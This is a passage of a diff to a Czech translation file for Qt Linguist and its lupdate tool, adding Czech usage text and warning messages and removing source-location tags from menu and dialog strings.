+ -source-language &lt;language&gt;[_&lt;region&gt;]
+ Specify the language of the source strings for new files.
+ Defaults to POSIX if not specified.
+ -target-language &lt;language&gt;[_&lt;region&gt;]
+ Specify the language of the translations for new files.
+ Guessed from the file name if not specified.
+ -ts &lt;ts-file&gt;...
+ Specify the output file(s). This will override the TRANSLATIONS
+ and nullify the CODECFORTR from possibly specified project files.
+ -codecfortr &lt;codec&gt;
+ Specify the codec assumed for tr() calls. Effective only with -ts.
+ -version
+ Display the version of lupdate and exit.
+ @lst-file
+ Read additional file names (one per line) from lst-file.
+</source>
+ <translation type="unfinished">Použití:
+ lupdate [volby] [projektový-soubor]...
+ lupdate [volby] [zdrojový-soubor|cesta|@lst-soubor]... -ts ts-soubory|@lst-soubor
+
+lupdate je částí řetězce nástrojů pro Qt Linguist. Vytahuje překládatelné zprávy
+ze souborů pro uživatelské rozhraní (UI) Qt UI, C++, Java a JavaScript/QtScript zdrojového kódu.
+Vytažené zprávy jsou ukládány do textových překladových zdrojových souborů (typicky
+Qt TS XML). Nové a změněné zprávy lze sloučit se stávajícími soubory TS.
+
+Volby:
+ -help Display this information and exit.
+ -no-obsolete
+ Drop all obsolete strings.
+ -extensions &lt;ext&gt;[,&lt;ext&gt;]...
+ Process files with the given extensions only.
+ The extension list must be separated with commas, not with whitespace.
+ Default: &apos;%1&apos;.
+ -pluralonly
+ Only include plural form messages.
+ -silent
+ Do not explain what is being done.
+ -no-sort
+ Do not sort contexts in TS files.
+ -no-recursive
+ Do not recursively scan the following directories.
+ -recursive
+ Recursively scan the following directories (default).
+ -I &lt;includepath&gt; or -I&lt;includepath&gt;
+ Additional location to look for include files.
+ May be specified multiple times.
+ -locations {absolute|relative|none}
+ Specify/override how source code references are saved in TS files.
+ Default is absolute.
+ -no-ui-lines
+ Do not record line numbers in references to UI files.
+ -disable-heuristic {sametext|similartext|number}
+ Disable the named merge heuristic. Can be specified multiple times.
+ -pro &lt;filename&gt;
+ Name of a .pro file. Useful for files with .pro file syntax but
+ different file suffix. Projects are recursed into and merged.
+ -source-language &lt;language&gt;[_&lt;region&gt;]
+ Specify the language of the source strings for new files.
+ Defaults to POSIX if not specified.
+ -target-language &lt;language&gt;[_&lt;region&gt;]
+ Specify the language of the translations for new files.
+ Guessed from the file name if not specified.
+ -ts &lt;ts-file&gt;...
+ Specify the output file(s). This will override the TRANSLATIONS
+ and nullify the CODECFORTR from possibly specified project files.
+ -codecfortr &lt;codec&gt;
+ Specify the codec assumed for tr() calls. Effective only with -ts.
+ -version
+ Display the version of lupdate and exit.
+ @lst-file
+ Read additional file names (one per line) from lst-file.
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: Codec for tr() &apos;%1&apos; disagrees with existing file&apos;s codec &apos;%2&apos;. Expect trouble.
+</source>
+ <translation>Varování lupdate: Kodek pro tr() &apos;%1&apos; nesouhlasí se stávajícím kodekem souboru &apos;%2&apos;. Dají se očekávat potíže.
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: Specified target language &apos;%1&apos; disagrees with existing file&apos;s language &apos;%2&apos;. Ignoring.
+</source>
+ <translation>Varování lupdate: Zadaný cílový jazyk &apos;%1&apos; nesouhlasí se stávajícím jazykem souboru &apos;%2&apos;. Přehlíží se.
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: Specified source language &apos;%1&apos; disagrees with existing file&apos;s language &apos;%2&apos;. Ignoring.
+</source>
+ <translation>Varování lupdate: Zadaný zdrojový jazyk &apos;%1&apos; nesouhlasí se stávajícím jazykem souboru &apos;%2&apos;. Přehlíží se.
+</translation>
+ </message>
+ <message>
+ <source>Updating &apos;%1&apos;...
+</source>
+ <translation>Obnovuje se &apos;%1&apos;...
+</translation>
+ </message>
+ <message>
+ <source>Stripping non plural forms in &apos;%1&apos;...
+</source>
+ <translation>Odkrývají se tvary, které nejsou množným číslem v &apos;%1&apos;...
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: Codec for source &apos;%1&apos; is invalid. Falling back to codec for tr().
+</source>
+ <translation>Varování lupdate: Kodek pro zdroj &apos;%1&apos; je neplatný. Ustupuje se ke kodeku pro tr().
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: TS files from command line will override TRANSLATIONS in %1.
+</source>
+ <translation>Varování lupdate: Soubory TS z příkazového řádku dostanou přednost před PŘEKLADY v %1.
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: TS files from command line prevent recursing into %1.
+</source>
+ <translation>Varování lupdate: Soubory TS z příkazového řádku zabrání uchýlení se k %1.
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: no TS files specified. Only diagnostics will be produced for &apos;%1&apos;.
+</source>
+ <translation>Varování lupdate: Nezadány žádné soubory TS. Pro &apos;%1&apos; bude vytvořena pouze diagnostika.
+</translation>
+ </message>
+ <message>
+ <source>The option -target-language requires a parameter.
+</source>
+ <translation>Volba -target-language vyžaduje parametr.
+</translation>
+ </message>
+ <message>
+ <source>The option -source-language requires a parameter.
+</source>
+ <translation>Volba -source-language vyžaduje parametr.
+</translation>
+ </message>
+ <message>
+ <source>The option -disable-heuristic requires a parameter.
+</source>
+ <translation>Volba -disable-heuristic vyžaduje parametr.
+</translation>
+ </message>
+ <message>
+ <source>Invalid heuristic name passed to -disable-heuristic.
+</source>
+ <translation>Volbě -disable-heuristic podán neplatný heuristický název.
+</translation>
+ </message>
+ <message>
+ <source>The option -locations requires a parameter.
+</source>
+ <translation>Volba -locations vyžaduje parametr.
+</translation>
+ </message>
+ <message>
+ <source>Invalid parameter passed to -locations.
+</source>
+ <translation>Volbě -locations podán neplatný parametr.
+</translation>
+ </message>
+ <message>
+ <source>The -codecfortr option should be followed by a codec name.
+</source>
+ <translation>Volba -codecfortr by měla být následována názvem kodeku.
+</translation>
+ </message>
+ <message>
+ <source>The -extensions option should be followed by an extension list.
+</source>
+ <translation>Volba -extensions by měla být následována seznamem přípon.
+</translation>
+ </message>
+ <message>
+ <source>The -pro option should be followed by a filename of .pro file.
+</source>
+ <translation>Volba -pro by měla být následována souborovým názvem souboru .pro.
+</translation>
+ </message>
+ <message>
+ <source>The -I option should be followed by a path.
+</source>
+ <translation>Volba -l by měla být následována cestou.
+</translation>
+ </message>
+ <message>
+ <source>Unrecognized option &apos;%1&apos;.
+</source>
+ <translation>Nerozpoznaná volba &apos;%1&apos;.
+</translation>
+ </message>
+ <message>
+ <source>lupdate error: List file &apos;%1&apos; is not readable.
+</source>
+ <translation>Chyba při lupdate: Soubor seznamu &apos;%1&apos; není čitelný.
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: For some reason, &apos;%1&apos; is not writable.
+</source>
+ <translation>Varování lupdate: Z nějakého důvodu není &apos;%1&apos; zapisovatelný.
+</translation>
+ </message>
+ <message>
+ <source>lupdate error: File &apos;%1&apos; has no recognized extension.
+</source>
+ <translation>Chyba při lupdate: Soubor &apos;%1&apos; nemá žádnou rozpoznanou příponu.
+</translation>
+ </message>
+ <message>
+ <source>lupdate error: File &apos;%1&apos; does not exist.
+</source>
+ <translation>Chyba při lupdate: Soubor &apos;%1&apos; není.
+</translation>
+ </message>
+ <message>
+ <source>Scanning directory &apos;%1&apos;...
+</source>
+ <translation>Prohledává se adresář &apos;%1&apos;...
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: -target-language usually only makes sense with exactly one TS file.
+</source>
+ <translation>Varování lupdate: Volba -target-language obvykle dává smysl jen s přesně jedním souborem TS.
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: -codecfortr has no effect without -ts.
+</source>
+ <translation>Varování lupdate: Volba -codecfortr nemá bez -ts žádný účinek.
+</translation>
+ </message>
+ <message>
+ <source>lupdate warning: no TS files specified. Only diagnostics will be produced.
+</source>
+ <translation>Varování lupdate: Nezadán žádný soubor TS. Bude vytvořena pouze diagnostika.
+</translation>
+ </message>
+ <message>
+ <source>lupdate error: Both project and source files / include paths specified.
+</source>
+ <translation>Chyba při lupdate: Zadány jak projektový tak zdrojový soubor/zahrnout cesty.
+</translation>
+ </message>
+ <message numerus="yes">
+ <source> Found %n source text(s) (%1 new and %2 already existing)
+</source>
+ <translation>
+ <numerusform> Nalezen jeden zdrojový text (%1 nový a %2 již existující)
+</numerusform>
+ <numerusform> Nalezeny %n zdrojové texty (%1 nové a %2 již existující)
+</numerusform>
+ <numerusform> Nalezeno %n zdrojových textů (%1 nových a %2 již existujících)
+</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <source> Removed %n obsolete entries
+</source>
+ <translation>
+ <numerusform> Odstraněn jeden zastaralý záznam
+</numerusform>
+ <numerusform> Odstraněny %n zastaralé záznamy
+</numerusform>
+ <numerusform> Odstraněno %n zastaralých záznamů
+</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <source> Kept %n obsolete entries
+</source>
+ <translation>
+ <numerusform> Zachován jeden zastaralý záznam
+</numerusform>
+ <numerusform> Zachovány %n zastaralé záznamy</numerusform>
+ <numerusform> Zachováno %n zastaralých záznamů</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <source> Number heuristic provided %n translation(s)
+</source>
+ <translation>
+ <numerusform> Číselná heuristika poskytla jeden překlad
+</numerusform>
+ <numerusform> Číselná heuristika poskytla %n překlady
+</numerusform>
+ <numerusform> Číselná heuristika poskytla %n překladů
+</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <source> Same-text heuristic provided %n translation(s)
+</source>
+ <translation>
+ <numerusform> Heuristika se shodnými texty poskytla jeden překlad</numerusform>
+ <numerusform> Heuristika se shodnými texty poskytla %n překlady</numerusform>
+ <numerusform> Heuristika se shodnými texty poskytla %n překladů</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <source> Similar-text heuristic provided %n translation(s)
+</source>
+ <translation>
+ <numerusform> Heuristika s podobnými texty poskytla jeden překlad</numerusform>
+ <numerusform> Heuristika s podobnými texty poskytla %n překlady</numerusform>
+ <numerusform> Heuristika s podobnými texty poskytla %n překladů</numerusform>
+ </translation>
+ </message>
+ <message>
+ <source>Illegal character</source>
+ <translation>Neplatný znak</translation>
+ </message>
+ <message>
+ <source>Unclosed string at end of line</source>
+ <translation>Neuzavřený řetězec na konci řádku</translation>
+ </message>
+ <message>
+ <source>Illegal escape squence</source>
+ <translation>Neplatná úniková posloupnost</translation>
+ </message>
+ <message>
+ <source>Illegal unicode escape sequence</source>
+ <translation>Neplatná úniková posloupnost unicode</translation>
+ </message>
+ <message>
+ <source>Unclosed comment at end of file</source>
+ <translation>Neuzavřená poznámka na konci souboru</translation>
+ </message>
+ <message>
+ <source>Illegal syntax for exponential number</source>
+ <translation>Neplatná skladba exponenciálního čísla</translation>
+ </message>
+ <message>
+ <source>Identifier cannot start with numeric literal</source>
+ <translation>Identifikátor nemůže začínat s číselným písmenem</translation>
+ </message>
+ <message>
+ <source>Unterminated regular expression literal</source>
+ <translation>Neskončený regulární výraz</translation>
+ </message>
+ <message>
+ <source>//% cannot be used with %1(). Ignoring
+</source>
+ <translation>//% nelze použít s %1(). Přehlíží se
+</translation>
+ </message>
+ <message>
+ <source>%1() requires at least two arguments.
+</source>
+ <translation>%1() vyžaduje alespoň dva argumenty.
+</translation>
+ </message>
+ <message>
+ <source>%1(): both arguments must be literal strings.
+</source>
+ <translation>%1(): oba argumenty musí být písmennými řetězci.
+</translation>
+ </message>
+ <message>
+ <source>%1() requires at least one argument.
+</source>
+ <translation>%1() vyžaduje alespoň jeden argument.
+</translation>
+ </message>
+ <message>
+ <source>%1(): text to translate must be a literal string.
+</source>
+ <translation>%1(): text k překladu musí být písmenný řetězec.
+</translation>
+ </message>
+ <message>
+ <source>//= cannot be used with %1(). Ignoring
+</source>
+ <translation>//= nelze použít s %1(). Přehlíží se
+</translation>
+ </message>
+ <message>
+ <source>%1(): identifier must be a literal string.
+</source>
+ <translation>%1(): identifikátor musí být písmenný řetězec.
+</translation>
+ </message>
+ <message>
+ <source>Expected </source>
+ <extracomment>Beginning of the string that contains comma-separated list of expected tokens</extracomment>
+ <translation>Očekáváno </translation>
+ </message>
+ <message>
+ <source>XML error: Parse error at line %1, column %2 (%3).</source>
+ <translation>Chyba v XML: Chyba při zpracování na řádku %1, ve sloupci %2 (%3).</translation>
+ </message>
+ <message>
+ <source>Parse error in UI file</source>
+ <translation>Chyba při zpracování v souboru UI</translation>
+ </message>
</context>
<context>
<name>MainWindow</name>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.ui"/>
<source>MainWindow</source>
<translation>Hlavní okno</translation>
</message>
<message>
- <location/>
<source>&amp;Phrases</source>
<translation>&amp;Slovníky</translation>
</message>
<message>
- <location/>
<source>&amp;Close Phrase Book</source>
<translation>&amp;Zavřít slovník</translation>
</message>
<message>
- <location/>
<source>&amp;Edit Phrase Book</source>
<translation>&amp;Upravit slovník</translation>
</message>
<message>
- <location/>
<source>&amp;Print Phrase Book</source>
<translation>&amp;Vytisknout slovník</translation>
</message>
<message>
- <location/>
<source>V&amp;alidation</source>
<translation>&amp;Schválení</translation>
</message>
<message>
- <location/>
<source>&amp;View</source>
<translation>&amp;Pohled</translation>
</message>
<message>
- <location/>
<source>Vie&amp;ws</source>
<translation>Po&amp;hledy</translation>
</message>
<message>
- <location/>
<source>&amp;Toolbars</source>
<translation>&amp;Nástrojové lišty</translation>
</message>
<message>
- <location/>
<source>&amp;Help</source>
<translation>&amp;Nápověda</translation>
</message>
<message>
- <location/>
<source>&amp;Translation</source>
<translation>&amp;Překlad</translation>
</message>
<message>
- <location/>
<source>&amp;File</source>
<translation>&amp;Soubor</translation>
</message>
<message>
- <location/>
<source>&amp;Edit</source>
<translation>Ú&amp;pravy</translation>
</message>
<message>
- <location/>
<source>&amp;Open...</source>
<translation>&amp;Otevřít...</translation>
</message>
<message>
- <location/>
<source>Open a Qt translation source file (TS file) for editing</source>
<translation>Otevřít Qt zdrojový soubor s překladem (soubor TS) pro úpravy</translation>
</message>
<message>
- <location/>
<source>Ctrl+O</source>
<translation>Ctrl+O</translation>
</message>
<message>
- <location/>
<source>E&amp;xit</source>
<translation>&amp;Ukončit</translation>
</message>
<message>
- <location/>
<source>Close this window and exit.</source>
<translation>Toto okno zavřít a ukončit.</translation>
</message>
<message>
- <location/>
<source>Ctrl+Q</source>
<translation>Ctrl+Q</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+646"/>
- <location line="+15"/>
<source>&amp;Save</source>
<translation>&amp;Uložit</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.ui"/>
<source>Save changes made to this Qt translation source file</source>
<translation>Uložit změny provedené v tomto Qt zdrojovém souboru s překladem</translation>
</message>
<message>
- <location/>
<source>Move to the previous unfinished item.</source>
<translation>Jít na předchozí nevyřízený záznam.</translation>
</message>
<message>
- <location/>
<source>Move to the next unfinished item.</source>
<translation>Jít na další nevyřízený záznam.</translation>
</message>
<message>
- <location/>
<source>Move to the previous item.</source>
<translation>Jít na předchozí záznam.</translation>
</message>
<message>
- <location/>
<source>Move to the next item.</source>
<translation>Jít na další záznam.</translation>
</message>
<message>
- <location/>
<source>Mark this item as done and move to the next unfinished item.</source>
<translation>Označit tento záznam jako hotový a jít na další nevyřízený záznam.</translation>
</message>
<message>
- <location/>
<source>Copy from source text</source>
<translation>Převzít zdrojový text</translation>
</message>
<message>
- <location/>
<source>Toggle the validity check of accelerators, i.e. whether the number of ampersands in the source and translation text is the same. If the check fails, a message is shown in the warnings window.</source>
<translation>Zapnout/Vypnout ověření akcelerátorů, to znamená, zda se shoduje počet znaků obchodnického -A (&amp;) ve zdrojovém textu a v textu překladu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.</translation>
</message>
<message>
- <location/>
<source>Toggle the validity check of ending punctuation. If the check fails, a message is shown in the warnings window.</source>
<translation>Zapnout/Vypnout ověření znaku na konci věty na konci textu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.</translation>
</message>
<message>
- <location/>
<source>Toggle checking that phrase suggestions are used. If the check fails, a message is shown in the warnings window.</source>
<translation>Zapnout/Vypnout ověření použití návrhů slovníku. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.</translation>
</message>
<message>
- <location/>
<source>Toggle the validity check of place markers, i.e. whether %1, %2, ... are used consistently in the source text and translation text. If the check fails, a message is shown in the warnings window.</source>
<translation>Zapnout/Vypnout ověření držitelů místa, to znamená, zda se shoduje používání %1, %2,... ve zdrojovém textu a v textu překladu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.</translation>
</message>
<message>
- <location/>
<source>Open Read-O&amp;nly...</source>
<translation>Otevřít pouze &amp;pro čtení...</translation>
</message>
<message>
- <location/>
<source>&amp;Save All</source>
<translation>&amp;Uložit vše</translation>
</message>
<message>
- <location/>
<source>Ctrl+S</source>
<translation>Ctrl+S</translation>
</message>
<message>
- <location/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="-14"/>
- <location line="+11"/>
<source>Save &amp;As...</source>
<translation>Uložit &amp;jako...</translation>
</message>
<message>
- <location/>
<source>Save As...</source>
<translation>Uložit jako...</translation>
</message>
<message>
- <location/>
<source>Save changes made to this Qt translation source file into a new file.</source>
<translation>Uložit změny provedené v tomto Qt zdrojovém souboru s překladem do nového souboru.</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+4"/>
<source>&amp;Release</source>
<translation>&amp;Vydat</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.ui"/>
<source>Create a Qt message file suitable for released applications from the current message file.</source>
<translation>Vytvořit Qt soubor se zprávami vhodný pro vydané aplikace (soubor QM) ze současného souboru s překladem.</translation>
</message>
<message>
- <location/>
<source>&amp;Print...</source>
<translation>&amp;Tisk...</translation>
</message>
<message>
- <location/>
<source>Ctrl+P</source>
<translation>Ctrl+P</translation>
</message>
<message>
- <location/>
<source>&amp;Undo</source>
<translation>&amp;Zpět</translation>
</message>
<message>
- <location/>
<source>Recently Opened &amp;Files</source>
<translation>Naposledy upravované sou&amp;bory</translation>
</message>
<message>
- <location/>
<source>Save</source>
<translation>Uložit</translation>
</message>
<message>
- <location/>
<source>Print a list of all the translation units in the current translation source file.</source>
<translation>Vytisknout seznam se všemi překladovými jednotkami v současném zdrojovém souboru s překladem.</translation>
</message>
<message>
- <location/>
<source>Undo the last editing operation performed on the current translation.</source>
<translation>Poslední změnu provedenou v současném překladu vrátit zpět.</translation>
</message>
<message>
- <location/>
<source>Ctrl+Z</source>
<translation>Ctrl+Z</translation>
</message>
<message>
- <location/>
<source>&amp;Redo</source>
<translation>&amp;Znovu</translation>
</message>
<message>
- <location/>
<source>Redo an undone editing operation performed on the translation.</source>
<translation>Poslední zpět vrácenou změnu v překladu provést znovu.</translation>
</message>
<message>
- <location/>
<source>Ctrl+Y</source>
<translation>Ctrl+Y</translation>
</message>
<message>
- <location/>
<source>Cu&amp;t</source>
<translation>&amp;Vyjmout</translation>
</message>
<message>
- <location/>
<source>Copy the selected translation text to the clipboard and deletes it.</source>
<translation>Zkopírovat vybraný text s překladem do schránky a smazat jej.</translation>
</message>
<message>
- <location/>
<source>Ctrl+X</source>
<translation>Ctrl+X</translation>
</message>
<message>
- <location/>
<source>&amp;Copy</source>
<translation>&amp;Kopírovat</translation>
</message>
<message>
- <location/>
<source>Copy the selected translation text to the clipboard.</source>
<translation>Zkopírovat vybraný text s překladem do schránky.</translation>
</message>
<message>
- <location/>
<source>Ctrl+C</source>
<translation>Ctrl+C</translation>
</message>
<message>
- <location/>
<source>&amp;Paste</source>
<translation>&amp;Vložit</translation>
</message>
<message>
- <location/>
<source>Paste the clipboard text into the translation.</source>
<translation>Vložit text ze schránky do překladu.</translation>
</message>
<message>
- <location/>
<source>Ctrl+V</source>
<translation>Ctrl+V</translation>
</message>
<message>
- <location/>
<source>Select &amp;All</source>
<translation>Vybrat &amp;vše</translation>
</message>
<message>
- <location/>
<source>Select the whole translation text.</source>
<translation>Vybrat celý text s překladem.</translation>
</message>
<message>
- <location/>
<source>Ctrl+A</source>
<translation>Ctrl+A</translation>
</message>
<message>
- <location/>
<source>&amp;Find...</source>
<translation>&amp;Hledat...</translation>
</message>
<message>
- <location/>
<source>Search for some text in the translation source file.</source>
<translation>Hledat text v souboru s překladem.</translation>
</message>
<message>
- <location/>
<source>Ctrl+F</source>
<translation>Ctrl+F</translation>
</message>
<message>
- <location/>
<source>Find &amp;Next</source>
<translation>Hledat &amp;dál</translation>
</message>
<message>
- <location/>
<source>Continue the search where it was left.</source>
<translation>Pokračovat v hledání.</translation>
</message>
<message>
- <location/>
<source>F3</source>
<translation>F3</translation>
</message>
<message>
- <location/>
<source>&amp;Prev Unfinished</source>
<translation>&amp;Předchozí nevyřízený</translation>
</message>
<message>
- <location/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location/>
<source>&amp;Close All</source>
<translation>&amp;Zavřít vše</translation>
</message>
<message>
- <location/>
<source>Ctrl+W</source>
<translation>Ctrl+W</translation>
</message>
<message>
- <location/>
<source>Ctrl+K</source>
<translation>Ctrl+K</translation>
</message>
<message>
- <location/>
<source>&amp;Next Unfinished</source>
<translation>&amp;Další nevyřízený</translation>
</message>
<message>
- <location/>
<source>P&amp;rev</source>
<translation>Před&amp;chozí</translation>
</message>
<message>
- <location/>
<source>Ctrl+Shift+K</source>
<translation>Ctrl+Shift+K</translation>
</message>
<message>
- <location/>
<source>Ne&amp;xt</source>
<translation>Da&amp;lší</translation>
</message>
<message>
- <location/>
<source>&amp;Done and Next</source>
<translation>&amp;Hotovo a další</translation>
</message>
<message>
- <location/>
<source>Copies the source text into the translation field.</source>
<translation>Kopíruje zdrojový text do pole s překladem.</translation>
</message>
<message>
- <location/>
<source>Ctrl+B</source>
<translation>Ctrl+B</translation>
</message>
<message>
- <location/>
<source>&amp;Accelerators</source>
<translation>&amp;Akcelerátory</translation>
</message>
<message>
- <location/>
<source>&amp;Ending Punctuation</source>
<translation>&amp;Interpunkce na konci</translation>
</message>
<message>
- <location/>
<source>&amp;Phrase matches</source>
<translation>&amp;Slovník</translation>
</message>
<message>
- <location/>
<source>Place &amp;Marker Matches</source>
<translation>Držitel &amp;místa</translation>
</message>
<message>
- <location/>
<source>&amp;New Phrase Book...</source>
<translation>&amp;Nový slovník...</translation>
</message>
<message>
- <location/>
<source>Create a new phrase book.</source>
<translation>Vytvořit nový slovník.</translation>
</message>
<message>
- <location/>
<source>Ctrl+N</source>
<translation>Ctrl+N</translation>
</message>
<message>
- <location/>
<source>&amp;Open Phrase Book...</source>
<translation>&amp;Otevřít slovník...</translation>
</message>
<message>
- <location/>
<source>Open a phrase book to assist translation.</source>
<translation>Otevřít slovník kvůli podpoře při překladu.</translation>
</message>
<message>
- <location/>
<source>Ctrl+H</source>
<translation>Ctrl+H</translation>
</message>
<message>
- <location/>
<source>&amp;Reset Sorting</source>
<translation>Řazení &amp;vrátit zpět</translation>
</message>
<message>
- <location/>
<source>Sort the items back in the same order as in the message file.</source>
<translation>Seřadit záznamy ve stejném pořadí jako v původním souboru s překladem.</translation>
</message>
<message>
- <location/>
<source>&amp;Display guesses</source>
<translation>Ukázat &amp;návrhy</translation>
</message>
<message>
- <location/>
<source>Set whether or not to display translation guesses.</source>
<translation>Zapnout/Vypnout zobrazení návrhů k překladu.</translation>
</message>
<message>
- <location/>
<source>&amp;Statistics</source>
<translation>S&amp;tatistika</translation>
</message>
<message>
- <location/>
<source>Display translation statistics.</source>
<translation>Ukázat statistiku k překladu.</translation>
</message>
<message>
- <location/>
<source>&amp;Manual</source>
<translation>&amp;Příručka</translation>
</message>
<message>
- <location/>
<source>F1</source>
<translation>F1</translation>
</message>
<message>
- <location/>
<source>About Qt Linguist</source>
<translation>O Qt Linguistu</translation>
</message>
<message>
- <location/>
<source>About Qt</source>
<translation>O Qt</translation>
</message>
<message>
- <location/>
<source>Display information about the Qt toolkit by Trolltech.</source>
- <translation>Zobrazit informace o sadě nástrojů Qt od Trolltechu.</translation>
+ <translation type="obsolete">Zobrazit informace o sadě nástrojů Qt od Trolltechu.</translation>
</message>
<message>
- <location/>
<source>&amp;What&apos;s This?</source>
<translation>&amp;Copak je asi toto?</translation>
</message>
<message>
- <location/>
<source>What&apos;s This?</source>
<translation>Copak je asi toto?</translation>
</message>
<message>
- <location/>
<source>Enter What&apos;s This? mode.</source>
<translation>Zapnout režim &quot;Copak je asi toto?&quot;.</translation>
</message>
<message>
- <location/>
<source>Shift+F1</source>
<translation>Shift+F1</translation>
</message>
<message>
- <location/>
<source>&amp;Search And Translate...</source>
<translation>Hledat a &amp;překládat...</translation>
</message>
<message>
- <location/>
<source>Replace the translation on all entries that matches the search source text.</source>
<translation>Nahradit překlad u všech záznamů, které odpovídají hledanému textu.</translation>
</message>
<message>
- <location/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+21"/>
<source>&amp;Batch Translation...</source>
<translation>&amp;Automatický překlad...</translation>
</message>
<message>
- <location/>
<source>Batch translate all entries using the information in the phrase books.</source>
<translation>Automaticky přeložit všechny záznamy s pomocí slovníků.</translation>
</message>
<message>
- <location/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="-34"/>
- <location line="+10"/>
<source>Release As...</source>
<translation>Vydat jako...</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="-2004"/>
<source></source>
<comment>This is the application&apos;s main window.</comment>
<translation></translation>
</message>
<message>
- <location line="+188"/>
<source>Source text</source>
<translation>Zdrojový text</translation>
</message>
<message>
- <location line="+1"/>
- <location line="+25"/>
<source>Index</source>
<translation>Rejstřík</translation>
</message>
<message>
- <location line="-2"/>
- <location line="+62"/>
<source>Context</source>
<translation>Souvislosti</translation>
</message>
<message>
- <location line="-61"/>
<source>Items</source>
<translation>Záznamy</translation>
</message>
<message>
- <location line="+78"/>
<source>This panel lists the source contexts.</source>
<translation>V tomto panelu jsou ukazovány souvislosti.</translation>
</message>
<message>
- <location line="+15"/>
<source>Strings</source>
<translation>Řetězce</translation>
</message>
<message>
- <location line="+39"/>
<source>Phrases and guesses</source>
<translation>Slovník a návrhy</translation>
</message>
<message>
- <location line="+10"/>
<source>Sources and Forms</source>
<translation>Zdrojové soubory a formuláře</translation>
</message>
<message>
- <location line="+15"/>
<source>Warnings</source>
<translation>Upozornění</translation>
</message>
<message>
- <location line="+59"/>
<source> MOD </source>
<comment>status bar: file(s) modified</comment>
<translation>Změněno</translation>
</message>
<message>
- <location line="+130"/>
<source>Loading...</source>
<translation>Nahrává se...</translation>
</message>
<message>
- <location line="+32"/>
- <location line="+22"/>
<source>Loading File - Qt Linguist</source>
<translation>Nahrává se soubor - Qt Linguist</translation>
</message>
<message>
- <location line="-21"/>
<source>The file &apos;%1&apos; does not seem to be related to the currently open file(s) &apos;%2&apos;.
Close the open file(s) first?</source>
@@ -994,7 +1747,6 @@ Close the open file(s) first?</source>
Zavřít nejprve již otevřený soubor(y)?</translation>
</message>
<message>
- <location line="+22"/>
<source>The file &apos;%1&apos; does not seem to be related to the file &apos;%2&apos; which is being loaded as well.
Skip loading the first named file?</source>
@@ -1003,7 +1755,6 @@ Skip loading the first named file?</source>
Přeskočit nahrávání prve jmenovaného souboru?</translation>
</message>
<message numerus="yes">
- <location line="+61"/>
<source>%n translation unit(s) loaded.</source>
<translation>
<numerusform>Nahrána jedna překladová jednotka.</numerusform>
@@ -1012,124 +1763,84 @@ Přeskočit nahrávání prve jmenovaného souboru?</translation>
</translation>
</message>
<message>
- <location line="+93"/>
<source>Related files (%1);;</source>
<translation>Příbuzné soubory (%1);;</translation>
</message>
<message>
- <location line="+4"/>
<source>Open Translation Files</source>
<translation>Otevřít soubory s překlady</translation>
</message>
<message>
- <location line="+10"/>
- <location line="+31"/>
<source>File saved.</source>
<translation>Soubor uložen.</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.ui"/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+15"/>
- <location line="+1165"/>
<source>Release</source>
<translation>Vydat</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="-1164"/>
<source>Qt message files for released applications (*.qm)
All files (*)</source>
<translation>Qt soubory se zprávami pro vydané aplikace (*.qm)
Všechny soubory (*)</translation>
</message>
<message>
- <location line="+3"/>
- <location line="+12"/>
<source>File created.</source>
<translation>Soubor vytvořen.</translation>
</message>
<message>
- <location line="+34"/>
- <location line="+355"/>
<source>Printing...</source>
<translation>Tisk...</translation>
</message>
<message>
- <location line="-347"/>
<source>Context: %1</source>
<translation>Souvislosti: %1</translation>
</message>
<message>
- <location line="+32"/>
<source>finished</source>
<translation>vyřízeno</translation>
</message>
<message>
- <location line="+3"/>
<source>unresolved</source>
<translation>nevyřešeno</translation>
</message>
<message>
- <location line="+3"/>
<source>obsolete</source>
<translation>zastaralé</translation>
</message>
<message>
- <location line="+15"/>
- <location line="+307"/>
<source>Printing... (page %1)</source>
<translation>Tisk... (strana %1)</translation>
</message>
<message>
- <location line="-300"/>
- <location line="+307"/>
<source>Printing completed</source>
<translation>Tisk dokončen</translation>
</message>
<message>
- <location line="-305"/>
- <location line="+307"/>
<source>Printing aborted</source>
<translation>Tisk zrušen</translation>
</message>
<message>
- <location line="-232"/>
<source>Search wrapped.</source>
<translation>Hledání začíná odshora.</translation>
</message>
<message>
- <location line="+17"/>
- <location line="+278"/>
- <location line="+34"/>
- <location line="+24"/>
- <location line="+22"/>
- <location line="+516"/>
- <location line="+1"/>
- <location line="+274"/>
- <location line="+40"/>
- <location line="+10"/>
<source>Qt Linguist</source>
<translation>Qt Linguist</translation>
</message>
<message>
- <location line="-1198"/>
- <location line="+102"/>
